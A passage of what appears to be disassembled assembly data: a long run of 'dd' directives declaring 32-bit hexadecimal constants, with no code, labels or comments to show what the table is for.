		dd 304A8BCEh, 614175C5h, 9AF599Ch, 942B5265h, 0CB72EE20h
		dd 0AE7A40F0h, 9E2D4B77h, 442CB959h, 0B148B4F0h, 0DE0947F3h
		dd 0C1D5FE10h, 0F6E5EBB9h, 0C331B09h, 0C7442196h, 25A89C85h
		dd 8F4B560Ch, 10DF20DCh, 77D69255h, 0DFAABB1Ah,	386279DDh
		dd 8F7DDD52h, 0D7CE413Ch, 7E6E5664h, 8CCB324Ch,	0A90757Ch
		dd 0E481C08Fh, 709953CBh, 5CE37F58h, 0CD9525D8h, 0AF23EC29h
		dd 69D2D902h, 2B2FA28Ah, 0C31E5857h, 0D805B41Bh, 3E1E3574h
		dd 21EDC344h, 8B6A6820h, 0B4784AEDh, 3B27A6Fh, 0D56EE288h
		dd 0FC76541Dh, 70862F66h, 0F87BE4FFh, 49DF2533h, 6BDD7B99h
		dd 0C753ACAFh, 55AFAD05h, 142D9CBDh, 1218B89Dh,	7B6F2057h
		dd 0FBB8C418h, 0D08904D2h, 52AA79B9h, 5A774E60h, 747D8C20h
		dd 6A19B314h, 83E1D0ABh, 73156916h, 0DCF12ED6h,	8A486512h
		dd 309CCE95h, 0A7E9D0A5h, 0AD72C500h, 0C8A494DEh, 56C5C623h
		dd 0CD5475AEh, 0C2946BD1h, 542B5CDBh, 0D07EAD3Eh, 0EFCDAB81h
		dd 0E099FD36h, 85E518BAh, 0FC4B5F9Bh, 215D2BBAh, 4092BDF2h
		dd 8F53B29Bh, 2031B6A9h, 0C74F4447h, 0DA4DAE85h, 651EAC7h
		dd 0DCAFFA62h, 671E2055h, 3324941Ch, 6ADFED62h,	1625EF46h
		dd 0D339CE4Ch, 0F9E1D46Ah, 45E2E684h, 0D928607Fh, 4865F140h
		dd 24D96318h, 0A39C8CAh, 0C09B2BCFh, 2D353D4Fh,	53514643h
		dd 70E4249Dh, 8C9296A6h, 450B964Eh, 5B9521AAh, 5CAB050h
		dd 0EC82E9D3h, 0E410DAA3h, 1C808972h, 0E73B6578h, 49295085h
		dd 0BE0D80AEh, 3110EB22h, 49EF52B2h, 4A4E0465h,	433E57AFh
		dd 2D177DCCh, 0DBD55787h, 18B0EA6Ch, 9A6EB35Dh,	0BAE5AE5Ah
		dd 0A4D8DCA1h, 5E26A42h, 8FF7D5E5h, 7EB30F1Dh, 0FD5B242h
		dd 0E418D9F4h, 7DF6B4F6h, 37D1AD9Fh, 9A8173E0h,	4263EA44h
		dd 7F3CACF0h, 0D1C54471h, 4B5F535Dh, 53C7DBAEh,	0CB0C1642h
		dd 6E1E269Ch, 0D2B0C01Fh, 50F36DE8h, 0EF0F1E26h, 45748527h
		dd 0C3699D4h, 0A63BAB38h, 6D84E823h, 0C8779E6Bh, 8F52A6F3h
		dd 0B32BFBF1h, 5CC4AA2Eh, 0A6EFF24Bh, 472BDEC2h, 70466826h
		dd 730EBA97h, 31A9FB1Ah, 2A963A3Ah, 52ABB9DBh, 0D73ACE90h
		dd 0E3C7C46Ah, 9E571BCBh, 0B3BB30F6h, 0DB753FFAh, 0E4782251h
		dd 801425A9h, 8954A08Bh, 2CBEC294h, 59155896h, 5AE1198Ah
		dd 0C5CDC3B4h, 3A147652h, 7E1EDAEEh, 81E0C05Bh,	7B936A22h
		dd 6FF35AACh, 7748D28h,	0CE3CA66h, 459291E5h, 0BE05852Dh
		dd 0CB1B8717h, 0CAD8470Ah, 3C7DFBDDh, 8EC8BE27h, 0A60F2844h
		dd 5533D0C2h, 108574EAh, 6CD50296h, 0E3EC8618h,	2690D22Eh
		dd 5BAB61D9h, 28A4F468h, 6AA80DE9h, 50E1A742h, 862404B4h
		dd 3DE6B4F6h, 7C62409Bh, 0CE43671Bh, 0DD4F23C6h, 2FA3E920h
		dd 564444B7h, 152FEAE4h, 0DAA6833Fh, 3A04FF6Bh,	87C2E18h
		dd 1AA04A92h, 0B8FA676Eh, 0E0FC3497h, 17FF85FEh, 0EEB456Dh
		dd 0BD0289E7h, 0BCDA752Bh, 0C1C77C4Fh, 410EE318h, 72B08D7Dh
		dd 440C227Ch, 2D0BDA43h, 523BD0F2h, 89263E1Eh, 60CE22E5h
		dd 322DDB1Ah, 55D6B16Fh, 175D297Eh, 287610E7h, 0AA7294B3h
		dd 536BB236h, 6F5D30F5h, 7385F17Fh, 7D54ADA7h, 598427A8h
		dd 89D4A8A3h, 0BADFF4BAh, 0C4EB3297h, 172D9E46h, 0B8E56D7h
		dd 79417466h, 909D7377h, 21895A81h, 6BB62B22h, 0ECB6DDA4h
		dd 9ED3D9E7h, 0C06D34A2h, 6985B335h, 0BEDE4515h, 8B1BFF12h
		dd 41B9CD9Fh, 20B57D58h, 0C5436BAFh, 0D1452850h, 0FCD57D7h
		dd 92BE1D46h, 0B46DD35Dh, 0C624EB99h, 0D21D9A6Fh, 48A8ABB9h
		dd 0B12E4E64h, 0EFF3CE6Ch, 2266E681h, 0B620F6E3h, 33765FD3h
		dd 0E58A2ED9h, 8AC2FA37h, 4A8BE040h, 5BB7B4D4h,	1A2C270h
		dd 84E11B96h, 3E89D4ECh, 0A904DADEh, 0FFD0AC1Ch, 59780899h
		dd 804B7D27h, 391FDC09h, 304316AFh, 85E6FCE0h, 3A25BBAEh
		dd 635D1876h, 0C1CF9C18h, 0E1EE2538h, 7314E53Eh, 500583F4h
		dd 625EFEBh, 44A7FAC4h,	65C9783Eh, 48DD2C3Bh, 0E8F17E95h
		dd 2D6944A9h, 7928E42Ch, 273DAE90h, 6D85A41Fh, 5B17B70Eh
		dd 552030F7h, 21B53DF3h, 90BADED9h, 4EAFFEDBh, 1DF9D636h
		dd 30DE64C0h, 49574668h, 56F76DA8h, 0FA421798h,	938DF34Dh
		dd 0FEE1E789h, 0DA903E33h, 0FFB2EE63h, 0E4F2BA3Bh, 9201B46Fh
		dd 65E8F17h, 0C7C03E86h, 214DEBBDh, 0C5D7FC67h,	0C6982DF3h
		dd 386C8E0Dh, 0C1496C2Fh, 2F8AA113h, 0FF40002h,	9890CE9Dh
		dd 7865D31Eh, 525B8612h, 2C55D89Dh, 0C3B12D1h, 0D4F28812h
		dd 0D9B86FF9h, 7687D237h, 96E47530h, 334DB4F6h,	7CD1AF99h
		dd 4EC38F66h, 4FD82130h, 6791DA57h, 42FD2C1Fh, 54E719EAh
		dd 7B1D2C4Fh, 14083B95h, 0C91C2B6Fh, 14D485D7h,	2B4A17AAh
		dd 9B3BD05Ah, 17FEF586h, 18DDE2h, 3A785D09h, 4B0E6CE9h
		dd 0D5D1DC14h, 0DA986C03h, 3C7F7DEDh, 4417543Ch, 0A00D6A43h
		dd 50DCED4h, 91E84993h,	71A2A8D6h, 4CAF6ED2h, 0C5EA31A6h
		dd 0FA32861h, 0A6583EEFh, 2B76C99Fh, 0F0B719E9h, 476E1009h
		dd 0E94DF131h, 0FE51269Ch, 0C2D8FE25h, 0FD4508Dh, 0B4F02D57h
		dd 1432B389h, 5A4D7394h, 630D5803h, 8957007Eh, 5699E3AFh
		dd 73294921h, 850EAC6Eh, 0FC329D3h, 0E8371266h,	85E60E0Ah
		dd 3C3EF3C1h, 0B6B63F78h, 0B795935Ch, 0EE98AC73h, 2C7FFDCDh
		dd 4D53F8A7h, 6E84FF90h, 5467948Bh, 9550061Eh, 0F9A2A0D0h
		dd 30A4AB93h, 896122Dh,	0E412AA53h, 56B04664h, 5EFE2E08h
		dd 5F8E71C9h, 0CD5E4EF7h, 0B8569C85h, 4361D81Fh, 734DB029h
		dd 0CB9FA8E8h, 0C13EA144h, 0CBEC88FCh, 0E32D6ABBh, 48302C92h
		dd 60E59771h, 0E81E375Ch, 25F149Eh, 4CBEF023h, 0EDFF02DEh
		dd 633F166Ch, 0B59DEDE9h, 7143D728h, 1C6EBB75h,	0B66312D1h
		dd 892C01C8h, 443DF2C5h, 0B03F29BCh, 0A647D6C0h, 46773AF2h
		dd 0EF8C7F95h, 881B3C54h, 44043EB1h, 0DC1CBCCEh, 855AECDBh
		dd 6FF2BD29h, 7F817B64h, 0A2379A9Eh, 1D9B20F7h,	0BA5AE4FAh
		dd 59B5A594h, 41E424ADh
		dd 3F1F2DCAh, 24CA5ABh,	8997C89Fh, 0FAC790Fh, 18B85715h
		dd 2EC4C885h, 571C7013h, 4E299FEFh, 539C0A31h, 0E8AEBB85h
		dd 0F77F8DE0h, 0D2EBEEh, 0A9C320C1h, 350C6371h,	0CAEDF717h
		dd 3DC469E0h, 302D7E1Eh, 0CD67DEACh, 2EC9A98Eh,	17D33F87h
		dd 0EEA49D16h, 7E81825Bh, 0B7240E90h, 235679E6h, 7F2A1D52h
		dd 8BFBC5A5h, 13FE6FE1h, 0CFB9F200h, 578C58F7h,	92FBB4F1h
		dd 9D312EDBh, 8C86584h,	95136C40h, 0BB74F9C5h, 69A840ECh
		dd 20A49332h, 0FAA6DB05h, 2004FB20h, 2A7D2E17h,	0C85FAB23h
		dd 50E90267h, 0F4637FC3h, 876C87F9h, 1571747Eh,	38274B92h
		dd 350EA46Eh, 9ECB841Fh, 0CA30A2D4h, 0F702F73Dh, 4C805929h
		dd 530AAAC0h, 0FE1CA97h, 59555927h, 0F77F0B5Ch,	8E4D16D4h
		dd 70099BA6h, 11630D80h, 0EF7ECE6Eh, 0C0F883E9h, 47EBB638h
		dd 41844D4h, 8295DEF2h,	7DC12EDDh, 48A86048h, 0C0536C38h
		dd 0F1BEACC8h, 240B2FB1h, 0DA65B7A6h, 0DA4A57E6h, 7105E3C6h
		dd 9F85699Bh, 30245F72h, 0B799AE4h, 0A134F2A6h,	17FCC998h
		dd 857F71EFh, 4407AC9h,	0CAF47B11h, 39162FECh, 4AD8AD45h
		dd 397F7DE6h, 0C553E0D3h, 2E91ECB8h, 4FD0458Ah,	19B98D9Eh
		dd 8290E8B2h, 8CCD1418h, 13D6E3A4h, 0DF58E952h,	0F47680E0h
		dd 0BF38AD13h, 17B8C91Eh, 0E66EF886h, 6965F17Eh, 4E6EA314h
		dd 720188D1h, 24166A9Eh, 0DC322825h, 1CEB3CDAh,	0A5ACCADDh
		dd 44ADA765h, 0A820072Dh, 6F1DF765h, 0D0A79B97h, 507D9234h
		dd 1CE10200h, 92E2CB95h, 0EEBE828h, 0FCF48A8Eh,	0DA8E1D0Eh
		dd 4040E8F4h, 0F3D14ECAh, 0DB868AB5h, 0D3BB5B84h, 0A145B43Ch
		dd 51C73EC2h, 1D40D49Dh, 0C4DD32AFh, 7EC1C541h,	28C6BB2Ah
		dd 194E56ADh, 39F84501h, 7170D41Ah, 5E74A2DCh, 0BB8B60FCh
		dd 0AA473DF3h, 7DA390Bh, 0CD90B7EAh, 7C5AA3FCh,	0BF27A7F3h
		dd 0B244D124h, 2E59F35Dh, 238FA9ABh, 0A1410251h, 7B96928Dh
		dd 0B85896B9h, 9936D21h, 1865E92Fh, 5279DD6Bh, 71841319h
		dd 3A9D1FCDh, 41EB108Bh, 39A2F5D5h, 224CD426h, 0CEF4A011h
		dd 42A4BC6Bh, 20B84540h, 60D0D50Ch, 7382B6FEh, 958CFAA2h
		dd 8599256Eh, 54D9D160h, 0BB368BD1h, 87ACE1B8h,	0AFD00FE6h
		dd 0F20F5CAh, 0F5AC747Ah, 0D201C0A3h, 0CE212ABCh, 374C03F4h
		dd 18094CF6h, 0C3487C7Ch, 0BA08C618h, 0C027894Ah, 1849C340h
		dd 9C2F3910h, 10C8DD41h, 0D2FD1FDCh, 939D51F3h,	6CABF002h
		dd 1FF9D258h, 9E8884DBh, 597ABA26h, 11339A2Dh, 332F73F6h
		dd 60B569D6h, 2149FFB5h, 452EFB9Ah, 0C34133C1h,	0CDDB4847h
		dd 805A69D1h, 6DBCAB5Dh, 4C64356Eh, 761326CDh, 0D6227051h
		dd 0BBE7157Ah, 0C086D4E8h, 0ECDC0F03h, 0B4F409h, 6C9DE729h
		dd 4FD126C5h, 1D768676h, 0CCD2644Bh, 3D37A71Ch,	9CA84A5Eh
		dd 0AA4874Ch, 0CAABDE6h, 97573181h, 0A45931FAh,	7C4F171Fh
		dd 0D987E738h, 0D8750CE5h, 16F1C9D7h, 1FA88CBh,	0B9E51A18h
		dd 3D4EDDA5h, 20EE8860h, 0F5812241h, 308C3B6Bh,	3A28C659h
		dd 72A4748h, 0E9D097EDh, 0DD949ACBh, 0AD27C8DEh, 6CEAA3E4h
		dd 432FC929h, 43281521h, 2B648695h, 0F0946CE7h,	9A7C0D3Fh
		dd 7EE43CCBh, 7981C0FEh, 3282D0D9h, 0B04028Eh, 0ECFAAB5h
		dd 3D4BC0EEh, 7F202FCDh, 0EB5B7A4Dh, 4ABFB948h,	8C8D3885h
		dd 9E822921h, 41A6359Dh, 915186AFh, 0DEA7B1DCh,	2F144D5Bh
		dd 44AF6633h, 43200D5Bh, 0BE13D029h, 0F583153Ah, 76F689E3h
		dd 3542DC3Eh, 412DB659h, 21DD45D0h, 0F5059687h,	4709E319h
		dd 4D5C44A2h, 0D45ECA6Eh, 3210D144h, 0BB40A951h, 9990BABDh
		dd 0EC52476Ch, 0F7AEA2B5h, 98B73833h, 61603607h, 76E121D9h
		dd 842E6274h, 7218BED2h, 0C1C8B745h, 0B311E69Ah, 16AB0087h
		dd 44FBC8Bh, 0B58C01BEh, 3A975A78h, 0B52B57A5h,	0C3569F67h
		dd 136E20A7h, 40D1235Ch, 7A33012Dh, 0B3864FB5h,	76355A60h
		dd 39F67558h, 0F5ABBD1Ch, 0C1D4D335h, 48206753h, 8F071F1Fh
		dd 68FDC56Bh, 183BF646h, 0B2DAF855h, 0C0278F9Eh, 157127A4h
		dd 5130E055h, 8384DA81h, 0EC0A0DF1h, 0FDA2F75Ch, 94AB39D1h
		dd 67BDAB83h, 32E0269Ah, 0D8F0FFCDh, 45E0494Eh,	0CA6CDC20h
		dd 0A7EFF9D7h, 0EB201735h, 68604C8Fh, 0D106475Ah, 0F46DBD03h
		dd 6CD3675Ah, 0DC8CCF47h, 91A078FFh, 0E8CA3AE2h, 7A8EFCD3h
		dd 0D4E4E1A7h, 0C8284922h, 0D0D136A0h, 0ED225FEFh, 0E6CAA1B4h
		dd 83E9D273h, 1D9A9849h, 2F241182h, 0A07A7E1Dh,	7DCDCF99h
		dd 0EED86168h, 1D5F92E1h, 6DD7F1F5h, 0C367445Eh, 0EA5282C6h
		dd 7FE8A578h, 0B5F4A251h, 91476017h, 78017C2Ah,	7AB3C3Ch
		dd 7287BB91h, 0FF5F4EDAh, 66C8E27Fh, 624DAB8h, 0FE5F4C1Ah
		dd 0A3151465h, 0E44C8D02h, 29E8F1A0h, 7B6012D3h, 64D98354h
		dd 3F6EC467h, 3A26B62Ch, 0DE05029Dh, 3FDBD6E8h,	1942CCBBh
		dd 1DE99283h, 86AD7D91h, 605D517Ch, 0E5A5BCB8h,	4C3261F9h
		dd 0B0F465FAh, 62A7DF72h, 10299150h, 284D0CBFh,	8AE2F89Fh
		dd 29F12B96h, 0F95BA5FEh, 66280655h, 0AAACB834h, 0CDC9435Ah
		dd 6B88608Eh, 8C4BD24Dh, 6A95997Fh, 0BF722D05h,	0A41368D3h
		dd 475215C0h, 6BCCD042h, 39B10D99h, 7BD3F275h, 429D2254h
		dd 64FFD5D4h, 6E5C4C12h, 6B0BC614h, 0FF770DF4h,	4A3A1D5Bh
		dd 19F6B83Eh, 0E0C52CB6h, 5E65EA26h, 0C88A0F6Ah, 75CB9E8h
		dd 11DA944Fh, 7AF4F59Bh, 12B2AB96h, 87EB502Fh, 0EFC779B4h
		dd 5E133DDBh, 0CA0140B1h, 0C2AEB4AAh, 20D380B6h, 0B8D03216h
		dd 3930B1FDh, 19DADBD7h, 7A10C22h, 0D7FB53CFh, 76FCF5DAh
		dd 0FFA3BAE9h, 664996A5h, 1E8CA7C9h, 0C7071AD0h, 0B57D73D6h
		dd 0F8271AF9h, 540D1974h, 1B46DA10h, 0E5B5B6DAh, 0ED98131Fh
		dd 0F2BDA285h, 45DD05C9h, 0F470B206h, 11A16924h, 6F423FFBh
		dd 0F48B7ED3h, 8B582ADAh, 0E258B1D6h, 95E868D3h, 6F2EF2E2h
		dd 430C1CE6h, 0FAF4B137h, 0D53A5965h, 22686034h, 0C5EABF97h
		dd 803497F4h, 68CE0696h, 5A64A0FAh, 0A35A5F36h,	40DE6B6Dh
		dd 0A74BCB6Fh, 0CDD01231h, 0C43E3892h, 0F441FEFDh, 0E75486ADh
		dd 0FB96CB7Ah, 103C4681h, 0D48B80E5h, 9BF8CC8Fh, 0CAF82335h
		dd 6E175A11h, 9289E818h, 0FAAF5A9Eh, 0D707A54Fh, 0CB400CD1h
		dd 3BCD843Ch, 6E9C2353h, 373928E9h, 5D6B74Bh, 1828AE45h
		dd 98E1A642h, 6BCEF3DDh, 65677E34h, 0AC6B4F49h,	7BAF047Ah
		dd 0F30861CEh, 172E9AB7h, 9584508Fh, 0B2331095h, 6DDE6837h
		dd 4EAF3C1Fh, 485E8C7Eh, 847F2B3Ah, 0C7E5AFBh, 47CF8AC2h
		dd 0B6FE3F5Dh, 0A892AC2h, 62571039h, 81B18E7Ah,	0FBDF8D9Dh
		dd 74CC0F14h, 0AF7E6A74h, 6A9AC452h, 0EA72F57Eh, 9171D3E7h
		dd 56D2FB7Bh, 693B819Bh, 16359434h, 8B63534Ch, 5BB2C2E0h
		dd 62D3F870h, 0D48AC24Dh, 426A8572h, 0E4EB4E70h, 0A20217B2h
		dd 1D865C30h, 8CA0F0B0h, 999780EBh, 9002AC4h, 4E224164h
		dd 6CC8FE8h, 0F05B670Bh, 26BB47F0h, 80F30982h, 0E717337Ch
		dd 0D9A1BB40h, 817C7B3Fh, 67EDEF50h, 9B2B5FBFh,	1029B482h
		dd 531FA26h, 0EC7F755Eh, 0F5E7E4C4h, 86B6E0FCh,	0F3684D70h
		dd 3D99F8F6h, 396FDFC3h, 0D3A6F0EBh, 0E43D2957h, 0EE2A6925h
		dd 71156345h, 285677D3h, 0B0DB3DBh, 7B68C402h, 4C125EE4h
		dd 9DEFF159h, 6E6269ADh, 6779A2BFh, 0BB128AFDh,	981BFB11h
		dd 37EB7EF4h, 97D7C2F4h, 0DE475E10h, 0C9282B9h,	0CC2DD310h
		dd 92C5C37Dh, 0F3568884h
		dd 7354A92Eh, 6960262Ch, 0A3666FE0h, 0E514A940h, 0BB831284h
		dd 0B4CB0725h, 0CA87C008h, 0FC144ABFh, 0D5CD51Fh, 44D24C2Ch
		dd 4519ECB2h, 2340FB30h, 0DA63E02h, 61E4106Eh, 0F1FA7BC5h
		dd 8AD6C886h, 2B2B20Ch,	0CFD6C77Ch, 0FF79C46Dh,	0C96C89D0h
		dd 0A22CF68Ch, 17051305h, 8BDE2Dh, 726183F8h, 99813D6Bh
		dd 0CF766D7Ch, 95C84A20h, 5C235596h, 0F69C0EFAh, 4850C087h
		dd 3FD43145h, 2717037Ch, 372F1112h, 81B88BA1h, 2A77645Fh
		dd 4F4D2AFCh, 651AC271h, 0DED27294h, 836789EEh,	77E382E7h
		dd 91A6A5CCh, 0DAFEC159h, 6325601Eh, 27AB50C3h,	0A0D2BCD2h
		dd 7C35F12Bh, 0F0FA5150h, 0EA16AF5Ah, 398266A3h, 1ED44AC6h
		dd 67170BD2h, 98E974AFh, 21524B23h, 6E2BB413h, 80820993h
		dd 6675C793h, 43FAF4DFh, 17B997E5h, 0FEA87C79h,	19BAA71Ch
		dd 61BD19CDh, 1A30F2C6h, 11BB20A6h, 964A97Dh, 0EB862529h
		dd 63DDB4Bh, 0B7432B74h, 2B8BD7DCh, 0B0FCC2ADh,	80914C8Eh
		dd 0F93F8D2Dh, 778C0F54h, 164769F2h, 0AA112FB6h, 4C4465C9h
		dd 0A7A72748h, 8759C2FAh, 24792E06h, 0CB8EA6DAh, 9D168595h
		dd 57F6B7ABh, 94C07EBAh, 453DB31Dh, 429A195Dh, 0D48C81A7h
		dd 27BE389Bh, 7D139AF0h, 72318310h, 988358F9h, 0A8E87D54h
		dd 0FE5F747h, 5E35266Bh, 7AD99347h, 0E6FEBA40h,	20BC610Bh
		dd 67569F39h, 0AA495112h, 0D1A3D6B7h, 5CB6ECA6h, 5F4D8F54h
		dd 9BCECE81h, 7F4D0DE1h, 0DE9BC84Ch, 24A8A44h, 785A5E82h
		dd 0B9C55B1Ah, 4799EFFEh, 0A8D7BFC3h, 0F70906C4h, 396CF7B8h
		dd 24205D60h, 0CE9DECEEh, 0A2BC3A04h, 219C3EF7h, 4DB22955h
		dd 0D69F057h, 2056F23Fh, 2FBCEEE1h, 0C0ADA2F0h,	0EEDFE11h
		dd 8FE8967Ah, 8B518575h, 0CFC6C71Ch, 0D33366A8h, 4C12713Ah
		dd 0A6E87BBFh, 0E8B3AF36h, 801E87FEh, 73A3A551h, 8C185323h
		dd 28349B0Bh, 4F48C2EFh, 0BED04A83h, 7F5FF905h,	0D2578352h
		dd 11B87475h, 0E062DE64h, 0FE04C9CAh, 0C4E59DB7h, 15ABAABEh
		dd 1A69C0Eh, 407972F0h,	0B598EA75h, 7D623C8Dh, 4877B643h
		dd 9D5B3B04h, 0E7738858h, 42668557h, 0DB774F38h, 685318DBh
		dd 0C986189Fh, 8D316CC8h, 0DE6044A1h, 8AB62374h, 0CA805FB9h
		dd 0D1142DE6h, 867CFA6Fh, 20E863A3h, 0B31D4D5h,	601F2625h
		dd 0DF9A5D57h, 86A40323h, 8BA9AA8Ah, 91D2D641h,	0AB8B8730h
		dd 8CE00E3Dh, 19A275BAh, 6854C721h, 8FE9E0C7h, 0C08E0F10h
		dd 7A949566h, 0DCA23C9Bh, 0FC5352C4h, 4BD7C10Fh, 0CCB8CCE2h
		dd 659D237Eh, 2E39B6C2h, 211E7CC8h, 733F4F40h, 0C970C0DDh
		dd 0E0600EE4h, 0EBFFAD19h, 0DCEC897Dh, 6B5BF34h, 0EE42214Ah
		dd 0D92DF791h, 85D9E3FBh, 0A8E1D5EBh, 849D0923h, 0F5A8508Fh
		dd 62C79CC7h, 4C954A9h,	2954F1C0h, 889C96AAh, 0E6EEBB18h
		dd 0CE945D7Eh, 0E37199F2h, 89E44E60h, 5DAB4556h, 1C4C22ECh
		dd 68676C17h, 3B07C012h, 0CDE5A717h, 45209A8Eh,	0A0C1555h
		dd 0BFB51F86h, 876F66E4h, 0F6CB542Fh, 4BB02ED8h, 97866EBBh
		dd 0A6B54D5Bh, 573E0D92h, 30AA8153h, 0E803BD19h, 529FA561h
		dd 20AE78F1h, 733A4E2Eh, 2F17819Ch, 86D5FF3Bh, 0D162D66Ah
		dd 581207D1h, 62EBAC47h, 6AC74409h, 26DA3A85h, 0E3F1CEE9h
		dd 14A4C270h, 2A62EF5Ch, 4F496EEAh, 1243C0F5h, 34D007B1h
		dd 5547454Ch, 0B9F5F6D1h, 6F032C8Eh, 4777C205h,	1A259E95h
		dd 0F1FD1B92h, 0F059839Dh, 96BF09F8h, 67AA1E25h, 57166B33h
		dd 0AAB87580h, 0D680AAF8h, 77B7930Ah, 0F6290E57h, 0F64E3Ah
		dd 0E8D7AD1Fh, 0C48DE56Dh, 0FB990AF4h, 0DF201936h, 0D438F7FCh
		dd 0DE58B27Bh, 0AF4C4E97h, 13EFA9BFh, 6E47A6CCh, 0A838F38Dh
		dd 0BA927C82h, 55D639EAh, 674416A9h, 0AB5A2FBBh, 91D4A2A0h
		dd 169BB70Eh, 0BAFDE5h,	0EE5305B1h, 2DE702C0h, 0D16BAF9Bh
		dd 0FA868E26h, 1C92D47Eh, 1EB3F6CBh, 0BBD29681h, 0C9F4F0F3h
		dd 0A1FBE567h, 22CDC876h, 77E435D6h, 7D4C6FBDh,	0E37CC40Dh
		dd 86406D05h, 2464F54Eh, 6B82639Ah, 0A01A0DAFh,	670C9F10h
		dd 11E35915h, 83C34F44h, 158D382Ch, 0CF3B18E0h,	0FAA10BB9h
		dd 0D330EEA4h, 6B34F78Bh, 2839EE7Dh, 0B09B41BAh, 7BCF07C0h
		dd 287F9A5Bh, 4AE5E2F1h, 0F64A6059h, 9B1DEDAh, 0CCEFCA0h
		dd 3D9707DAh, 68C76C4Fh, 0A09A0A13h, 0A410BE40h, 0E022839Eh
		dd 0F07DCE0Ah, 4C6BC95Fh, 0F329C925h, 0BE5D63C1h, 6854F7D1h
		dd 98D4DFDCh, 8F7EC69Dh, 9F78C0DFh, 10A6D7B0h, 5FC3ACE2h
		dd 0A5222F59h, 9A53FA19h, 926E8FBDh, 0D3446BB7h, 5756DD0Dh
		dd 83705BE3h, 1199ED3Ch, 0DB33CDA4h, 5B32EF8Bh,	8D08967Dh
		dd 94977D48h, 4661D756h, 0F6C8653Eh, 374F11AAh,	0EE9C4B4Eh
		dd 0D3A9CB7Eh, 0F0AF4570h, 6C1C513Ch, 946665A7h, 6407CE3Ch
		dd 6AE165F8h, 892009B6h, 561B4988h, 583D290Ch, 0F470DA92h
		dd 1B14D37Ch, 0BFD0028Ch, 693D0734h, 875C7366h,	3715B930h
		dd 5CBACC76h, 73F70230h, 0DC115ED7h, 71DD5DECh,	262E87AEh
		dd 0DAAD8804h, 53CDB03Bh, 52F1C483h, 215EECC5h,	86BC4CA6h
		dd 1ACB0283h, 2C67F397h, 74BB0486h, 816E8F60h, 0A318EF4Ah
		dd 4B4CD6A3h, 0D1120ECBh, 0BEA9FAE8h, 9E537480h, 5C387AA2h
		dd 0A44B93E0h, 72D0FB5Eh, 8C72F71Eh, 5317010Bh,	4349826Ch
		dd 0DF6D8D4Dh, 4CFB216Eh, 8376B36Ah, 0A849014Eh, 14B1B7C7h
		dd 0F9394F7Bh, 23488956h, 0A1CF0F4Ah, 2674D719h, 8996DC38h
		dd 0FC0157EBh, 8D23F5E4h, 595831B2h, 505518B5h,	0B3F299FBh
		dd 0A09BABB7h, 0E7EFA47h, 982790FEh, 0C44D13E8h, 0B30791EDh
		dd 8A7FDB79h, 0E003670Fh, 98EDD4B0h, 9890A13Eh,	0C87EE89Ch
		dd 0C2530003h, 64C04B33h, 6FAD0FE7h, 0EB4846DBh, 0DF78C492h
		dd 5DEA7AC4h, 4E5B8005h, 5C40B908h, 0C3794C49h,	9223773Dh
		dd 0C5DAE88h, 31E37ECCh, 78284FE2h, 7FF30B6h, 0E8B28F45h
		dd 63CB946Dh, 0DC315C49h, 71F1B2D0h, 0EE017DEh,	95632AD1h
		dd 44570F1Ch, 1177D2DBh, 0CBDEEA5Ch, 58FA7040h,	3B011DC3h
		dd 4BA5D6A0h, 6E50810Dh, 1F6DCCD1h, 0E56AE33Fh,	0C2CA0BADh
		dd 444F96A5h, 0C936866Ah, 7B6BDC1Dh, 1D01A0B9h,	835F376Fh
		dd 52EFDDFDh, 36DC021Ah, 9AAA4841h, 0CC9E86D5h,	6CBA6809h
		dd 190929h, 3E6866FBh, 6BB4A51Ch, 0D58B3813h, 9BE70AC3h
		dd 43A88A22h, 6AEF4135h, 8BEC5125h, 26A3DBCFh, 64AF51FDh
		dd 5ADABD13h, 34B68EF1h, 0FD2E02ADh, 47B184AEh,	1DDEAC3Dh
		dd 391C0689h, 5C458C83h, 7B46A811h, 0FCD7847h, 823E86AEh
		dd 0B05960A3h, 0E08DAB57h, 0ECF036A4h, 0CABA843Bh, 0E2EA4E3Dh
		dd 270C8EB4h, 0F42802FBh, 0C80AA11Eh, 0DADF76DBh, 50EE91CCh
		dd 221DF7CBh, 340498Ch,	978F5CA5h, 0DB1104B7h, 0F7C7BD0Eh
		dd 0C05C451Fh, 0EECABF60h, 53AA6866h, 0EED1E444h, 9CE88CA5h
		dd 66D3D8B3h, 4672CAFDh, 3D2F6D2Eh, 552B9759h, 0C8D192F5h
		dd 0C00C492Eh, 769C9A86h, 0AFDA7B0Bh, 24246AC6h, 0E80DDD7Fh
		dd 0B3944883h, 0C429F525h, 7081E0AEh, 99B483ACh, 2C29442Ch
		dd 0F49DAD2h, 0DA7304B9h, 0C0B9CC0Dh, 7BC2E908h, 0CC55AF0h
		dd 0ED998B82h, 4DEE97CCh, 4FFB370Bh, 0EDD3D4B6h, 2998CD6Bh
		dd 60F5E012h, 0FFE75F1h, 0F90B3253h, 0F9E91AA6h, 4F9427FCh
		dd 61AA7178h, 16105199h, 3EC3DBCBh, 6E6DC903h, 81AA663Eh
		dd 0DCCCAB77h, 39216B8Dh, 0DEB6D017h, 7AFDB8D4h, 21B8570Bh
		dd 5EAD793Ch, 0D4E7A747h
		dd 0F8327484h, 0D1A7AF71h, 2B26D94Fh, 0F0ED6EC5h, 67D8C32Ah
		dd 7412B18h, 6976A2C8h,	1867E949h, 559A6A6Fh, 9F4F53DBh
		dd 7E198C9Ch, 79A41699h, 0AF1098C6h, 9AD4B54Bh,	7973792Ch
		dd 0BE74E770h, 7BE662E1h, 0EBD3DA3Ah, 3519439h,	1E736870h
		dd 0A4F81299h, 0F4C86B2Ah, 0CAB630F1h, 96C7D4BAh, 0D800960Ah
		dd 1EF43DD5h, 0A5D968CAh, 0FF3D5DE8h, 937FFEB3h, 12D17FCBh
		dd 0C763373Bh, 71731C02h, 0B0C638E2h, 0C72FEFC4h, 0C8EF18C3h
		dd 278A9300h, 0E4CAF378h, 62E68F51h, 88374340h,	0D8411B50h
		dd 41C762B0h, 19475047h, 29898DF5h, 0BA7AE093h,	9C1D953Bh
		dd 3C819C82h, 0EC989761h, 42E42073h, 36F20131h,	0DDA12960h
		dd 0C34E9621h, 0AFC50FCEh, 0A4E41A94h, 0DF759B34h, 9A1E555Fh
		dd 85521D18h, 3C681712h, 27AA135h, 2F51D535h, 5A316853h
		dd 0E18B5176h, 8F2CEE93h, 0B27C90FEh, 0B8F1E0BAh, 21480E0Eh
		dd 767B2361h, 5C6AB2CFh, 0D0699300h, 0E0C83F59h, 610DFA13h
		dd 0EA6F4301h, 98050194h, 0BEA50318h, 5444E31Dh, 0B1928E98h
